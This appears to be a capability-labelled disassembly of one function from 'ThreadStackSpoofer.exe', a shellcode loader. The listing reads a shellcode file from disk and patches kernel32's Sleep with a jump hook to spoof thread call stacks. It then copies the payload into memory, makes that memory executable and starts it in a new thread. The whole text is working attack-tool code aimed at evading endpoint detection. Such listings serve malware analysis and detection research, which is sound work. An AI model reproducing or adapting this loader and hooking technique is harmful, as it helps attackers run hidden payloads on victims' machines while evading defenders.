Function at 0x1400028e0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get file size
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
stmxcsr dword [rbp - 0x20]
or dword [rbp - 0x20], 0x8040
ldmxcsr dword [rbp - 0x20]
cmp ecx, 2
jg 0x140002923
lea rcx, str.Usage:_ThreadStackSpoofer.exe__shellcode___spoof_
call fcn.140001e70
mov esi, 1
jmp 0x140002c97
mov rsi, rdx
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], 0
mov rdi, qword [rdx + 0x10]
lea rdx, str.true
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140002963
lea rdx, [0x140010137]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
sete r14b
jmp 0x140002966
mov r14b, 1
lea rcx, str._.__Reading_shellcode_bytes...
call fcn.140001e70
mov rcx, qword [rsi + 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x1400029ee
mov rdi, rax
mov dword [rbp - 0x2c], 0
lea rdx, [rbp - 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
test eax, eax
je 0x140002a00
mov qword [rbp - 0x28], rdi
mov edi, esi
cmp esi, 0x1000
jb 0x140002a04
lea rcx, [rdi + 0x27]
call fcn.14000b158
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140002a0f
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002b4c
xor ebx, ebx
jmp 0x140002a2f
mov rcx, rdi
call fcn.14000b158
mov rbx, rax
mov rcx, rbx
xor edx, edx
mov r8, rdi
call fcn.140003040
mov qword [rbp - 0x20], rbx
add rdi, rbx
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x10], rdi
mov rdi, qword [rbp - 0x28]
mov qword [rsp + 0x20], 0
lea r9, [rbp - 0x2c]
mov rcx, rdi
mov rdx, rbx
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, eax
test rdi, rdi
je 0x140002a5b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x140002b4c
test r14b, r14b
je 0x140002b6a
lea rcx, str._.__Hooking_kernel32_Sleep...
call fcn.140001e70
mov dword [rbp - 4], 0
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [rdi]
movups xmmword [0x1400134e0], xmm0
lea r9, [rbp - 4]
mov edx, 0xd
mov rcx, rdi
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, eax
test eax, eax
je 0x140002ac8
mov word [rdi], 0xba49
lea rax, section..text
mov qword [rdi + 2], rax
mov word [rdi + 0xa], 0xff41
mov byte [rdi + 0xc], 0xe2
mov rdi, qword [0x1400134f0]
test rdi, rdi
jne 0x140002b00
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [0x1400134f0], rax
test rax, rax
je 0x140002b18
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rax
mov r8d, 0xd
call rdi
mov r8d, dword [rbp - 4]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rbp - 4]
mov edx, 0xd
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test esi, esi
jne 0x140002b76
mov esi, 1
lea rcx, str.____Could_not_hook_kernel32_Sleep_
call fcn.140001e70
jmp 0x140002c61
mov esi, 1
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Could_not_open_shellcode_file__Error:
mov edx, eax
call fcn.140002d60
jmp 0x140002c61
lea rcx, str._.__Thread_call_stack_will_NOT_be_spoofed.
call fcn.140001e70
lea rcx, str._.__Injecting_shellcode...
call fcn.140001e70
mov rsi, qword [rbp - 0x20]
mov r15, qword [rbp - 0x18]
mov r14, r15
sub r14, rsi
lea rbx, [r14 + 1]
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140002c40
mov rdi, rax
mov rcx, rax
mov rdx, rsi
mov r8, r14
call fcn.140002f70
lea r9, [rbp - 4]
mov rcx, rdi
mov rdx, rbx
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002c40
cmp rsi, r15
je 0x140002be8
mov qword [rbp - 0x18], rsi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x1400028d0]
xor ecx, ecx
xor edx, edx
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x140002c40
mov rsi, rax
mov qword [rbp - 0x38], rax
lea rcx, str.___Shellcode_is_now_running.
call fcn.140001e70
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
jmp 0x140002c61
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rbp - 0x38], 0
mov esi, 1
lea rcx, str.____Could_not_inject_shellcode__Error:
mov edx, eax
call fcn.140002d60
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140002c97
mov rdx, qword [rbp - 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140002c92
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140002ca6
add rdx, 0x27
mov rcx, rax
call fcn.14000b19c
mov eax, esi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3